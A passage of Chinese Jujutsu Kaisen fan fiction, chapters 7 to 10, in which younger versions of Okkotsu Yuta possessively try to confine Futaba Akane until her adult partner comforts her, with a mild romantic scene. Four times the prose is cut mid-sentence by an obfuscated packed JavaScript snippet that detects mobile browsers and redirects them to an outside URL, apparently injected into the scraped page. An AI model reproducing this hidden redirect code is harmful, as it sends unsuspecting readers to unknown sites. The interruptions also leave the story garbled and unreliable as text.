“不行,很急。”双叶茜没有丝毫犹豫,斩钉截铁地拒绝了乙骨忧太。 她拿起包走向玄关,利落地换上皮鞋,正要打开门,乙骨忧太却急切地追了上来,小手拽住她的胳膊:“那我跟茜姐姐一起去!” 双叶茜几乎是下意识地拔高了音量,甩开他的手,语气是不容拒绝的强硬:“不行,你不要跟着我!” 话音刚落,她就对上了乙骨忧太受伤的眼神,让她难免心头一紧。 但她不得不狠下心来。 一级咒灵。 如果是她的爱人,是成年后的那个特级咒术师乙骨忧太,她或许会毫不犹豫地带上他。 但现在,眼前的乙骨忧太不过只是一个普通的七岁孩子,去了必死无疑。 双叶茜顾不上乙骨忧太,转身推门而出。 他居然也没再继续坚持跟着她,这让她松了口气,她焦灼地站在电梯间,紧张地看着电梯下行的数字,只希望更快点、更快点… 面对一级咒灵,哪怕只是晚了一两秒,也会有数不清的人因此丧命。 “叮——”的一声,电梯到达一楼。 双叶茜将杂念抛在脑后,快步奔向任务现场。 · 在双叶茜决绝地关上门后,玄关处陷入死一般的寂静中。 乙骨忧太脸上的委屈和受伤几乎瞬间消失殆尽,取而代之的是与稚嫩面容极不相称的冰冷。 他没有哭闹,也没有再追上去,只是无声地转过身,迈步走到客厅的窗户前。 乙骨忧太踮起脚,双手扒窗沿上,整张脸几乎都贴在了玻璃上,以至于鼻尖都被压得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513711|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些发白, 但他却像是感觉不到任何疼痛一样,维持着这个姿势不变。 他一眨不眨地盯着女人匆忙走出楼道的身影,那双黑色的双眸此刻宛若深不见底的深渊,里面翻涌着浓稠的阴郁。 乙骨忧太看着女人快步走向街口,伸手拦车,又拉开车门坐进去。 他的目光死死盯着那那辆逐渐驶远的车,直到那辆车变成一个模糊的黑点,最终彻底消失。 许久后,他才用极轻的话语低低道。 “没关系的,茜姐姐。” “等下次你再回家的时候,就不会再有任何东西能将你带走了。” · 久保中学周遭的空气粘稠而压抑。 曾经书声琅琅的学校,此刻却被一股浓厚的诅咒气息所笼罩着。 双叶茜强忍下生理上的不适和心底的寒意,迅速与现场负责警戒的警官确认情况。 “所有师生都已疏散完毕!”警官的声音带着压抑不住的紧张,“我们的人都不敢靠得太近,里面的感觉非常不好,请你们小心!一切都靠你们了!” “明白。”双叶茜点了点头,冷静地吩咐,“请维持好外围的警戒,不要让任何人靠近。” 她的任务明确清晰——在咒术师抵达前,布下帐,将这片区域彻底隔离,在防止咒灵逃脱的同时,也避免波及到普通人。 双叶茜深吸一口气,在久保中学正门前站定,双手在胸前结出一个复杂的手印,开始布置帐。 漆黑的结界自她脚下迅速扩张开,沿着学校的边界急速升起,在顶点合拢,将久保中学彻底笼罩其中。 她的首要任务已经完成。 双叶茜退到安全的地方,正准备在工作群内汇报情况,并请求确认咒术师的抵达时间,却忽然听到一个略显低沉的声音在她的身侧响起。 “明太子。” 狗卷棘不知何时已经到了。 他穿着一身深色的西装制服,衬得肩线平直,身形较少年时期更为修长结实,白色短发比起年少时更显规整,为他增添了几分沉稳感。 双叶茜认识他。 一方面是因为他们曾经同是东京都立高等专门学校的学生,另一方则是因为他是乙骨忧太的同窗。 她曾经得到过他的帮助。 “前辈。”双叶茜点头向他汇报,“帐已布置完成了,内部也已经确认是一级咒灵,普通人也都已经疏散完毕,一切就拜托您了。” 狗卷棘微微颔首,简洁地表示了解:“鲑鱼。” 他不再耽搁,身形没入帐中。 时间在紧张的寂静中一点一滴地流逝着,双叶茜能感觉到帐内战斗激烈,但也只能站在原地默默完成自己的职责,并在内心为狗卷棘祈祷。 但突然,双叶茜布下的帐忽然产生了剧烈的波动,仿佛随时可能被从内部撑破。 她来不及反应,就听见“砰——”的一声,一道身影略显狼狈地从帐中倒飞了出来,轻盈地落在她不远处的空地上。 随后,双叶茜的帐破掉了。 狗卷棘朝她往来,紫色双眸无比凝重,他快速地用手语比划着,向她传达着信息。 [这里的咒灵等级接近特级,快逃。] 一个扭曲的庞然大物缓缓现身。 它没有固定的形状,而是一个不断蠕动变化着的物体,形状类似于一个球形,外表让人心生恶心。 它的脸是一张扭曲的人脸轮廓,身上有无数只手,却没有腿,用手在地上攀爬着向她和狗卷棘走来。 狗卷棘迅速挡在她的面前。 他抬手拉下高领,准备发动咒言。 但就在这时,双叶茜感到了一股冰冷彻骨,但又极其熟悉的咒力波动。 8. 第八章 双叶茜僵硬地转过头。 校门口的栏杆旁,不知何时多了一道清瘦的身影。 那是一个少年。 他穿着特制的白色制服,身形单薄,却站得笔直,几缕发丝随着紊乱的气流微微飘动,露出一张与她的爱人极其相似,但又带着青涩感的脸庞。 少年肤色很白,在灯光的映照下甚至显得有些透明,眼下的黑眼圈格外浓厚,浑身上下都透着一股挥之不去的疲惫与阴郁。 是乙骨忧太。 更准确地说,是少年时期的乙骨忧太。 他静静地站在那里,视线先是扫过仍然在散发着不祥气息的咒灵,眼神里没有丝毫波澜,仿佛只是在看一件无关紧要的死物。 随后,他的目光又越过狗卷棘,精准地落在了双叶茜身上。 “刚好在附近。”乙骨忧太又看向狗卷棘,简短地解释。 狗卷棘微微颔首,紫色的眼睛中闪过一丝了然。 他明白乙骨忧太接下来要做什么,不动声色地向旁挪动了半步,将双叶茜完全护在身后,保护性的动作做得无比自然。 身为前辈,保护实力稍差的后辈是理所当然的事情。 只是隐约间,双叶茜感到乙骨忧太的视线在她和狗卷棘身上停留了一瞬。 乙骨忧太直直地向咒灵走去,只是一瞬间,双叶茜便感到一阵庞大的咒力从他身上爆发。 那股咒力虽并非针对她和狗卷棘,却仍然带来了近乎实质的压迫感。 “别动。” 他轻轻开口,溢出口的词语却像是带着千斤般的重量,那只原本还在不断蠕动变形的咒灵像是被摁下了暂停键,所有的动作戛然而止,身上那些扭曲的手臂也僵在半空中,空气在这一刻仿佛凝固。 “去死。” 简短的两个词语,甚至比上一个词语要更加轻,却带着令人胆寒的意味。 在他话音落下的瞬间,咒灵所在的空间开始扭曲,就好似被一只无形的大手紧紧攥住,没有任何惨叫和挣扎,扭曲的形体在无形的巨力下被疯狂往内挤压着。 只是一瞬,双叶茜便听到“砰——”的一声,这个接近特级的咒灵彻底死了。 一股磅礴的咒力忽然扩散开,变成一股突如其来的狂风,双叶茜被气流吹得无法站稳,险些就要被吹飞。 好在一直护在她身前的狗卷棘反应极快,他迅速转身调换他们二人的位置,稳稳地挡在她身后,手臂扶住她的肩膀,让她不至于被吹跑。 他白色的发丝随着狂乱的气流飞舞,紫色的眼眸半分也没有懈怠,始终保持着警惕。 乙骨忧太站在狂风的最中心,衣服和黑发都被风吹起,却稳稳地立在那里。 风渐渐平息。 “解决了。”乙骨忧太呼出一口气,转过头来,语气听起来没有格外的情绪波动。 他的视线先是落到狗卷棘扶着双叶茜肩膀的手上,目光停留的时间比正常的打量要稍长些许,随后又像是什么都没有发生一样,扬起笑脸问他们:“你们没事吧?” 狗卷棘点了点头。 他不动声色地收回手,对双叶茜比了个简单的[安全了]的手势,整个人身上紧绷的那种感觉都消失了。 但双叶茜却没有。 她没有忘记昨天这个乙骨忧太做了什么。 乙骨忧太的脚步向他们这边移动,恰好站到了双叶茜和狗卷棘中间,将他们隔开,使他更靠近双叶茜一点,而狗卷棘则处在一个安全又礼貌的社交距离。 “幸好狗卷同学反应够快。”他看向狗卷棘,语气诚恳又饱含谢意,“刚才那股风太突然了,若不是你,茜恐怕要被吹飞了。” 听起来像是在感谢狗卷棘保护了双叶茜,但却有一种十分微妙的感觉。 乙骨忧太的目光又转回到双叶茜身上,关切的目光将她牢牢锁住,声音放轻许多:“没受伤吧。” 少年清澈的黑眸里映着她的脸颊,专注得容不下其他,他对她露出温和的笑,话语里却含着催促:“任务结束了,茜,我们回家吧。” 这句话却让双叶茜心头一紧,她下意识地后退了半步,急忙转向狗卷棘,声音里不自觉地带上几分请求:“刚才真的很感谢狗卷前辈,要不是前辈护住我,我可能已经受伤了。” 她像是抓住救命稻草一样,眼神里甚至都带上了祈求:“不如一起吃个饭,让我表达一下感谢吧?” 狗卷棘微微睁大眼睛,似乎有些意外。 他看了看双叶茜带着祈求的眼神,又瞥了一眼身旁表情微妙的乙骨忧太,了然地点头,回道:“鲑鱼子。” “真是个好主意。” 乙骨忧太的眼底闪过几丝暗芒,忽然笑了,声音轻快得有些不自然:“我也正好饿了,狗卷同学想吃什么?我知道附近有家不错的餐厅,要不要一起去?” 他嘴上虽说着邀请的话,身形却不着痕迹地贴近双叶茜,手指也搭上了她的手腕,像是想要握住,却被她躲开了。 餐厅里,暖黄色的灯光从精致的吊灯上打下,让整个室内都笼罩在一股柔和的氛围中。 这家餐厅的墙壁采用的是深色的木质镶板,上面挂着几幅抽象的装饰画,每张桌子间都用绿植做了隔断,既保证了隐私性,又不显得完全封闭。 空气中弥漫着淡淡的香气和优雅的轻音乐。 然而他们这桌的氛围却格外微妙。 乙骨忧太体贴地为双叶茜拉开椅子,自己则坐在她旁边,正好隔开了她和狗卷棘。 他专注地看着菜单,轻声询问她的喜好,表现得像是个十分贴心的完美伴侣。 “茜,我记得你不太喜欢吃鱼,多点一些别的怎么样?” 他修长的手指轻点着菜单,不紧不慢地温声询问:”这里的汉堡肉排似乎很不错的样子,我记得茜你很喜欢吃快餐类的食物,但好像已经很久没吃了吧,今天点一份怎么样?” “鳗鱼饭…嗯,这个就算了吧。”没得到双叶茜的回答,他貌似也不着急,继续翻着菜品自言自语,“雪花牛排?看上去还不错的样子,我记得茜你上次说想尝尝这个,那就再要一份这个吧。” “哦,对了,再要一份海鲜蒸蛋吧,把里面的虾仁像以前一样挑给我就行,茜,你只喜欢吃蛋羹的部分,对吧?” 乙骨忧太不假思索地说出她的饮食习惯。 这份深度的了解在此刻显得既亲密,又带着沉重的压力。 双叶茜的面色一时难看至极。 就在这时,一直在安静在旁边坐着的狗卷棘似乎察觉出他们二人之间异常的氛围,紫色的眼睛在他们之间轻轻扫过,但礼貌地没有点破。 他将手机屏幕转向他们。 [今天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513712|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务报告我来写吧?] “报告我来完成就好了。”乙骨忧太微笑着接话,手臂极其自然地搭在双叶茜的椅背上,“不麻烦狗卷同学了,狗卷同学之后不是还有任务要处理吗?” 狗卷棘歪了歪脑袋。 虽许久前就已成年,但他还保留着许多少年时期可爱的行为。 他低头又在手机上快速地输入,将屏幕转向乙骨忧太。 [最近的任务很多吗?都没怎么见到你。] 平常的问候恰到好处地缓解了尴尬的氛围,乙骨忧太的注意力被短暂地牵走,他微笑着回应:“还好,倒是狗卷同学看起来比之前要更忙了。” “明太子。”狗卷棘一边回答,一边自然地为双叶茜递过菜单。 他貌似还记得她学生时代很喜欢吃甜品,用手指轻点了两下菜单上甜品区的位置。 “啊,对了。”乙骨忧太像是突然想起什么,“茜要不要尝尝他们家的抹茶芭菲,你前几天不是刚跟我说你想吃甜品了吗? 他又转向狗卷棘,问:”狗卷同学要不要试试看,他们家的甜品确实还不错。” 这场饭局在紧绷的氛围中开始了。 每当双叶茜想和狗卷棘说话,或者他想和她交谈时,乙骨忧太总会适时地插入话题,有时是为她添茶,有时是问她对某道菜的看法,动作流畅自然,却巧妙打断了每一次他们二人直接交流的机会。 双叶茜的思绪忽然被乙骨忧太的举动拉回到多年前的一个傍晚。 那是她还在学生时代的事情。 训练结束后,她累得满头大汗,汗水几乎快把制服都给浸湿了,她和狗卷棘一起默契地走向操场旁的自动贩卖机,两人都累得不轻。 “喝什么?”双叶茜的声音还带着剧烈运动后的微喘,“刚刚谢谢狗卷前辈解围了,我的体力一向很弱,若不是狗卷前辈,我今天恐怕要累死了。” “我请狗卷前辈喝饮料吧。” 狗卷棘却摇了摇头,指尖在按钮上快速移动,摁下两个选择。 两罐果汁滚落出来。 他俯身拿起两罐饮料,将其中一罐递给双叶茜,紫色的眼睛安静地注视着她。 傍晚的阳光为狗卷棘白色发丝镀上一层暖黄色,空气中似乎弥漫着某种若有若无的悸动,双叶茜伸手去接饮料,却忽然听到身后传来熟悉的声音。 “茜,狗卷同学,你们在这里呢。”乙骨忧太不知何时出现在不远处,脸上还带着他一贯的腼腆笑容。 他快速走近,自然地站到双叶茜身旁,与她并肩而立,又接过饮料:“训练辛苦了,茜,我刚才想去找你,想和你一起讨论一下明天任务的事情,听真希同学说,你可能在这里。” 乙骨忧太的解释合情合理,语气也一如既往的谦和。 但不知为何,他出现后,那股氛围就消失了。 “这是新出的口味吗?”乙骨忧太低下头,好奇地打量着饮料罐,“茜,我记得你不太喜欢喝这种口味的饮料吧。” 他说话时,目光始终落在双叶茜身上,就像是不动声色地把狗卷棘给隔离了出去,仿佛两个人的世界里再也容不下他人的进入。 狗卷棘安静地站在一旁,高领遮盖住他的表情,只有那双紫色的眼眸在他们之间轻轻扫过。 随后,他垂下眼帘,默默喝着自己的那罐饮料。 9. 第九章 午饭接近尾声。 服务生收走最后的餐盘,乙骨忧太端起茶杯轻啜了一口,目光从始至终几乎从未离开过双叶茜。 “时间不早了,我记得狗卷同学还有任务要处理吧?”乙骨忧太放下茶杯,骨节分明的手指在茶杯上轻轻摩挲着。 狗卷棘下意识地抬头看向双叶茜,紫色的眼眸中含着询问,她下意识地想要挽留,却被乙骨忧太抢先一步。 他站起身,恰到好处地挡住狗卷棘看向她的视线:“等改天我们再邀请真希和熊猫他们聚一聚吧?” 狗卷棘的视线在双叶茜和乙骨忧太间流转了片刻,最后对她轻轻点头,比了个[小心]的手势,便转身离开了餐厅。 看着他离开的背影,双叶茜感到一阵无力。 唯一的救命稻草就这样被乙骨忧太轻松地支走了。 餐厅里只剩下双叶茜和乙骨忧太两个人。 乙骨忧太重新坐下,目光温和地注视着她,过于专注的视线让她如坐针毡,她只觉这股视线仿佛化为实质,让空气都变得黏稠起来。 他不紧不慢地开口:“茜,我们也该回家了吧。” 双叶茜没有忘记,这个乙骨忧太想把她关起来。 “现在还不行。”她立刻拒绝,飞速找着理由,“我前几天还有一个任务报告没有提交,必须今日之内交上去,明天就要过了截止日期了。” 她垂下眼,不敢同乙骨忧太对视,生怕他看出她仓促的谎言。 短暂的沉默。 双叶茜能感到乙骨忧太的目光在她脸上停留了好一会,像是在思考什么。 就在她以为乙骨忧太要质疑时,他却轻笑了一声,语气听不出任何喜怒:“这样啊,那我也跟着茜一起去吧,正好我也没什么事情要做。” 双叶茜的心沉了下去。 “这…这就不用了吧。”她急忙说道,手指不自觉地捏紧衣角,“只是去提交份文件而已,忧太,你难得休息…” “跟你在一起就是最好的休息。”乙骨忧太微笑着打断她,明明是温柔的语气却不容任何拒绝。 他站起身,动作自然地拿起她放在椅背上的外套,体贴得不像话:“走吧,我陪着你一起去。” 双叶茜几乎要绝望地接受这个安排了。 但就在这时,她的目光不经意间扫过餐厅窗外,一个念头忽然闪过。 “其实…”她深吸一口气,强迫自己对上乙骨忧太的目光,“我刚刚突然想起来,那份文件我没带出来,我在家写完后,就随手放在书桌上了。” 这是一个冒险的谎言。 双叶茜知道一旦同意回家,就等于自己主动走进了乙骨忧太为她准备的囚笼中。 但比起现在就这样被他寸步不离地监视着去高专,最后还是要回家,还不如冒一场险,拼一把。 乙骨忧太微微挑眉,似乎很是意外。 “是吗?”他轻轻应道,唇角勾起一个意味深长的弧度,“那我们就先回家去拿报告吧,怎么样?” 双叶茜飞快地点头,心脏却在胸腔里狂跳,起身与乙骨忧太并肩走向餐厅门口。 她故意放缓脚步,装作不经意地提起:“对了,忧太,能拜托你一件事吗?” “嗯?”乙骨忧太抬眸看她。 双叶茜停下脚步,表情和语气都极其诚恳:“我带了包出来,刚刚来餐厅的时候,我把包寄存到服务台了,你能帮我去服务台拿回来吗?” 这是一个极其明显的调虎离山之计,拙劣得连她自己都觉得漏洞百出。 乙骨忧太静静注视着她,那双漆黑的眼眸无波无澜,好像早已看穿她所有的谎言。 时间在这一刻仿佛都被拉长了,她只觉每分每秒都如此难熬,后背都渗出了冷汗。 就在她以为他一定会拆穿这个谎言时,他却轻轻笑了,答应了下来:“好啊。” 他伸手将她额前的一缕碎发别到耳后,指尖擦过她的脸颊,似乎带着警告的意味:“那茜在这里等我,我很快回来。” 双叶茜僵硬地点头,心脏跳得飞快。 她知道乙骨忧太看穿了她的谎言,只是在配合她,就像是猫明知老鼠在耍花招,却依然愿意配合着玩耍一样。 恶劣至极。 她看着乙骨忧太转身向服务台走去,每一步都像是踩在她紧绷的神经上。 就在他的身影消失在转角处的瞬间,双叶茜猛地转身,向着商场内部冲去,拼命挤入午后人流渐密的商场中。 “茜。” “你要去哪里,不是说好了要等我吗?” 隐约间,她听到乙骨忧太在喊她。 她回过头,乙骨忧太站在餐厅门前,用黑色的双眸一眨不眨地凝视着她。 他的嘴角带着一丝浅淡的微笑,似乎极其无奈,像是只是在看着一个正在同他闹别扭的孩子。 双叶茜不再看那个身影,用尽全身力气向商场深处奔跑,耳边只剩下自己急促的喘息声和呼啸的风声,人群甚至也在她身边化作模糊的色块。 直到她结结实实地撞进一个温暖的怀抱里。 一股熟悉的清冽气息瞬间将她包裹住。 她愕然抬头,正好撞进一双盛满了惊愕与担忧的黑眸中。 “茜?”眼前的人身形挺拔结实,脸上的青涩感全部褪去,轮廓线条更加分明利落,他穿着一身利落的深色常服,黑色的短发比起少年时期要修剪得更短。 岁月在他脸上增添了几分沉稳,让他显得更有魅力。 是乙骨忧太。 是她的爱人。 巨大的震惊和劫后余生般的委屈如同海啸般将她淹没,她的大脑一片空白,所有强装出来的镇定和逃跑的勇气都在这一刻分崩瓦解。 她的眼泪毫无预兆地夺眶而出,大颗大颗地掉落。 她死死抓住乙骨忧太胸前的衣襟,手指因过度用力甚至都有些发白。 无尽的委屈和后怕像是找到了唯一的宣泄口,一齐哽在心头,噎得她一个字也说不出,只能发出破碎的呜咽,身体也控制不住地剧烈颤抖着。 乙骨忧太被她撞得后退了半步,他立刻紧紧扶住几乎快要瘫软的她,温热的手掌稳稳托住她的后背,声音里带着明显的诧异和急切:“怎么了,发生什么事了?” 他低头仔细查看着她的状况,眉头紧锁:“你怎么会在这里,怎么跑成这样?” 双叶茜一句话也说不出来,强烈的冲击让她语无伦次,她只能紧紧依偎在乙骨忧太的怀里,从他怀中汲取着安全和温暖。 仿佛只有这样,她才能确认眼前的人是真的,而不是令人绝望的幻觉。 乙骨忧太感受到了她异乎寻常的颤抖和崩溃,他没有再急切地追问,而是将她更深地拥入怀中,用手一下又一下轻抚着她的后背,一边安慰道:“没事了,我在这里。” 双叶茜趴在乙骨忧太的怀抱里,任由眼泪无声地流淌,却并非出于恐惧,而更像是找到依靠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513713|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大委屈和安心。 她感受到乙骨忧太的肩膀动了动。 他抬起头,用锐利的目光扫视了一眼她跑来的方向,手臂收得更紧,就像是一头在守护着珍藏宝物的猛兽,将她完全圈养在自己的保护范围之内,把所有想要窥探她的视线都隔绝在外。 “我们先离开这里好吗,茜?”他低声询问,忽然俯下身来,一只手臂稳稳穿过她的膝弯,轻松将她打横抱起,让她惊呼一声,下意识地环住乙骨忧太的脖颈。 这个动作让她与乙骨忧太更加亲密了。 乙骨忧太抱着她,转身向商场的另一个出口走去,步伐平稳快速,双叶茜蜷缩在他怀里,听着乙骨忧太平稳有力的心跳,感受着属于他的温度,一直紧绷着的神经终于一点点松弛了下来。 他今天开了车。 乙骨忧太将她小心地放到副驾驶上,为她系好安全带后,又用指尖轻柔地擦拭着她脸上的泪痕。 他轻声哄着:“要不要睡一会?等你睡醒,我们就到家了。” 双叶茜点了点头。 引擎启动,车辆平稳地驶入车流。 她靠在座椅上,看着窗外飞速掠过的街景,眼皮越来越沉。 等她再次醒来时,已经到了家中。 她微微动了一下,发现自己正躺在柔软被褥里,身上还盖着平时用的薄毯。 “睡醒了?”低沉温和的声音从她身旁传来。 双叶茜侧过头,发现乙骨忧太正坐在床边的椅子上,他穿着和她同款的情侣睡衣,柔和的灯光软化了他脸部利落的线条,让他看起来格外温柔。 “你睡了一个下午,茜。”乙骨忧太俯身过来,将她脸颊上睡乱的发丝拨开,“看你睡得沉,就没叫醒你,现在感觉怎么样?还困吗?” 他的目光里满是纯粹的关切。 这里是双叶茜熟悉的家,眼前的人也是她深爱且信赖的人。 一直悬着的心终于彻底落回实处,一种劫后余生的依赖感,和想要被安抚的念头涌了上来。 她看着乙骨忧太,眨了眨眼睛,伸手问他要抱抱,又带着鼻音小声和他撒娇:“忧太,我饿了。” 乙骨忧太的嘴角弯起一个温柔的弧度,似乎很满意她带着依赖的柔软,他反手将她抱在怀里,让她同他一起坐到床上,低声应道:“嗯,我去准备晚饭,想吃什么?” “都可以。”她软软地回答,“只要是忧太做的,我都喜欢。” 乙骨忧太轻笑,却没有立刻起身,而是继续注视着她,眸色在灯光下显得更深。 “吃饭之前,我们好像还有一件事情要做。”他缓缓开口,低沉的声音充满诱惑力。 双叶茜还没反应过来,便感到微凉的唇覆在了自己的嘴唇上。 乙骨忧太轻车熟路地撬开她的嘴唇,像是要把她嘴巴里的所有空气都给掠夺走,又在感觉到她有些别扭之后,很快便转换成了极尽温柔和安抚的吻,轻柔地摩挲贴合,无声地传达着他的爱意。 双叶茜闭上眼睛,顺从地回应着。 两个人的身影在灯光下越贴越紧,也越来越热。 在双叶茜感觉到某物在愈发炙热和无法忽视时,乙骨忧太才稍稍退开,额头与她轻抵,呼吸微促。 “好了,我去给你做吃的。”他的声音比刚刚要更沙哑。 双叶茜脸上发烫,果断起身想重新钻回到被窝中,乙骨忧太却突然握住她的胳膊,带着暗示问。 “今晚…” 10. 第十章 “今晚…” 简短的两个字,却饱含暗示,在双叶茜心湖中荡漾开层层涟漪。 她的心跳还在因刚刚那个吻而加速,脸颊的温度也尚未褪去,一时不好意思再回答,只能一边躲避着乙骨忧太的视线,垂下眼睑,一边害羞地点下头。 乙骨忧太轻笑一声,低沉的声音带着止不住的宠溺:“怎么还是害羞。” 双叶茜感受到乙骨忧太注视着她的目光愈发深邃,其中翻涌的渴望几乎凝成了实质。 这让她下意识地攥紧衣服,心里既期待又有些无措。 但最终,乙骨忧太只是深吸了口气,似乎在用强大的意志力将自己从即将失控的边缘中给硬生生拉了回来。 他俯下身,在她的额头上落下一个带着无比珍视的吻。 “先等着。”乙骨忧太揉了揉她的头发,声线里还残留着几分未散尽的沙哑,却已经恢复成平日的温和,“我先去给你做点吃的。” 他正要走,又像是故意调笑她般,落下一句带着笑意的调侃:“不然晚上没力气了怎么办?” 这句满是戏谑的话让双叶茜刚刚平复下来的脸颊又烧了起来,她羞恼地抓起手边的枕头朝乙骨忧太扔去,又快速像只鸵鸟一样把自己埋在被子里。 乙骨忧太稳稳接住枕头,见双叶茜真的羞恼,他这才见好就收,没有再继续调笑她,只是带着愉悦的低笑转身走进了厨房。 厨房里不一会便传来令人安心的切菜和洗菜声。 双叶茜小心翼翼地掀开被子,露出一双圆溜溜的眼睛来。 劫后余生的恐慌终于被无尽的安心感所取代,她知道在乙骨忧太身边,她什么都不用考虑,也什么都不用担心。 他会把一切都安排妥当,也会将所有危险都隔绝在她的世界之外。 她悄悄遛下床,赤脚走到厨房,倚靠在门框上,默默注视着乙骨忧太的背影。 他穿着和她同款的蓝色情侣睡衣,宽阔挺拔的背部正对着她,袖口被他随意地挽至小臂,露出线条漂亮的手腕和手臂上流畅结实的线条,正低头专注地处理食材,动作娴熟。 柔软的棉质面料使他看起来居家又温柔,活脱脱是一个好男人。 似乎察觉到她的视线,乙骨忧太没有回头,只是问:“饿了?就快做好了,冰箱里还有面包,要是先饿的话可以先拿几片吃,垫垫肚子。” 双叶茜没有回话,走过去从背后环住乙骨忧太的腰,将侧脸贴在他宽阔的背上。 乙骨忧太的身形微微一顿,随即放松下来,任由她抱着。 他空出一只手,覆在她交叠在他腰间的手上拍了拍,安抚道:“很快就好。” 双叶茜轻轻点头。 从前不觉得。 这两天经历了那么多惊心动魄的事件后,她才发觉此刻的宁静与温暖有多么珍贵。 晚餐是简单的咖喱饭。 双叶茜和乙骨忧太坐在餐桌旁,安静地享用着食物,偶尔眼神交汇,时不时乙骨忧太会问她几句今天的饭菜味道怎么样,让她对此做一些评价。 她自然不会吝啬夸奖。 他闻言轻笑,眼角和嘴角都是止不住的幸福。 饭后,乙骨忧太主动起身收拾残局,又贴心地为她热了杯牛奶。 同居这么久以来,他从来不会让她碰任何家务活。 “喝了会睡得好些。”乙骨忧太将温热的杯子递到她手里,眉眼温和。 双叶茜捧着杯子,小口小口地喝着,坐在椅子上看着乙骨忧太在厨房里忙活的身影,只觉心中一片温暖。 夜色渐深。 暖黄的床头灯在被乙骨忧太关上后,卧室里彻底陷入一片黑暗中。 乙骨忧太刚在双叶茜身旁躺下,还没捂热被窝呢,她就自然地滚进他的怀中,在他的怀里蹭来蹭去,想寻找到一个最熟悉和安心的位置。 他也已经习惯她对她的依赖,自然地环住她,掌心在她后背有一下没一下轻拍,像是在安抚她,但却也像是一种无声的占有。 隔着薄薄的睡衣,双叶茜能感受到属于乙骨忧太身上的温度和沉稳的心跳声,这让她很是安心。 她搂住他的脖颈,抬头向他讨要吻,他却没立刻给她,指尖却无意般划过她的后脖颈,给她带来一阵战栗。 双叶茜感到乙骨忧太呼吸微顿,揽着她的手臂也有些收紧,甚至体温都升高许多。 一种微妙的氛围在黑暗中无声蔓延。 她伸手要去触碰乙骨忧太身上的某一处,另一只手抚上他已经绷紧的腹肌。 这个动作她已经做过数次,再熟练不过。 但乙骨忧太却握住了她的手腕,制止了她的行动。 预料到的进一步的动作并没有到来,他收回刚刚还流连在她后背的那只手,转而将她的脑袋摁在自己的胸前,下巴抵着她的发顶,低沉的声音像是在压抑着什么东西一样,沉沉道:“睡吧。” “今天哭了那么久,一定很累了,好好休息。” 乙骨忧太并没有被欲////////望所支配,他将她的疲惫放在了首位。 双叶茜莫名有些失落,但又不好意思说,便只好作罢,更加依赖地往他怀里缩了缩,合上眼睛,听着他的呼吸和心跳入睡。 紧绷的神经总算得到放松,她的意识很快便变得模糊,进入梦乡中。 但乙骨忧太却依然清醒。 确认女孩的呼吸变得均匀绵长后,乙骨忧太垂下眼眸,借着朦胧的夜光凝视着女孩恬静的睡颜。 他用手指摩挲着女孩的脸颊,同时也清晰地感觉到女孩环在他腰间的双臂今天收得格外紧,甚至连手指也无意识地紧紧揪住了他的衣物。 就像是在害怕失而复得的人再次消失一般。 乙骨忧太低下头,吻着女孩的发丝,又将女孩往怀中抱紧,这才闭上眼睛。 · 双叶茜是被枕边人轻柔的动作吵醒的。 乙骨忧太已经起身,背对着她,低声接着电话。 “确定吗?” “地点是…好的,我知道了。” “我随后就会赶到。” 他的声音压得很低,带着沉稳的冷静。 大概又是工作。 无论是咒术师,还是辅助监督,因为咒灵太多,其实都很忙,很难有闲暇的时间。 乙骨忧太挂断电话,转过身,正好对上双叶茜担忧的目光,赶忙快步走回床边坐下,歉意道:“吵醒你了?” “有任务。”她却摇了摇头,问。 “嗯。”乙骨忧太点了点头,“紧急任务,似乎出现了特级咒灵,情况很棘手,需要我立刻前往处理。” 特级。 这意味着危险系数极高,也意味着乙骨忧太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513714|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须去。 难得与爱人重逢,双叶茜虽十分不舍,却只能垂下头道:“好吧,那你要小心。” “别担心,我很快就回来。”乙骨忧太看出她的依赖和不舍,俯身在她的唇上落下一个轻柔的吻,“早饭我已经做好了,大概午饭之前我就会回来的。” 